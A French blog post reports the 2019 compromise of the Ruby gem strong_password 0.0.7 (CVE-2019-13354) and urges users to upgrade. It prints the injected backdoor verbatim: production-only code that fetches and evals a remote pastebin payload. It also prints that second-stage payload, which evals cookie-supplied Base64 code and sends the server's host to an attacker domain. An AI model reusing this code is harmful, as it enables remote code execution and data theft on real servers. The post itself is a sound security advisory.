Vulnérabilité dans la gem strong_password 0.0.7

Si vous utilisez la gem strong_password version 0.0.7 faites immédiatement une mise à jour de tout vos serveurs vers une version supérieure.

La vulnérabilité à été injectée par une personne externe au projet qui a réussi à s’octroyer les droits sur rudygems.org. Très rapidement la communauté open-source a pu détecter l’attaque.

Voilà encore un des avantages à l’open-source : si l’équipe en charge du projet ne se rend pas compte tout de suite du problème, il y aura toujours quelqu’un pour le voir et tirer l’alerte.

C’est donc Tute Costa du blog https://withatwist.dev qui a découvert la vulnérabilité, comme il l’explique sur son blog. L’agresseur a trouvé le moyen de s’octroyer les droits sur rugygems.org pour pouvoir injecter du code malicieux dans la gem.

Un grand nombre de personnes on malgré tout eu le temps d’installer la version piratée de la gem, ce qui a eu pour résultat d’injecter le code malicieux sur leurs serveurs :

def _!;begin;yield;rescue Exception;end;end
_!{Thread.new{loop{_!{sleep
rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
Rails.env[0]=="p"}

Ce code ne s’exécute que sur le serveur de production, où il y télécharge quelques lignes de code depuis pastebin.com et dont voici le contenu :

_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

C’est là la deuxième phase de l’attaque, qui consiste à installer un middleware pour récupérer certains cookies, et envoyer l’adresse du serveur infecté vers un domaine contrôlé par l’attaquant.

Newsletter

Comme je l’écrivais en haut de ce billet, la situation a été prise en main et corrigée rapidement. Il vous suffit de mettre à jour la gem strong_password. L’équipe de rubygems.org a pu rétablir les droits sur la gem, la CVE-2019-13354 à été créé, et la version 0.0.7 à été retirée de rubygems.org.

Il restera à comprendre comment les droits sur rubygems.org ont pu être modifiés, car c’est là que réside la vulnérabilité exploitée par cette attaque.

Publié par

Benj

Artisan du web à plusieurs facettes, du développement à la gestion de produits complexes en passant par le pilotage de projets internationaux.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

deux × un =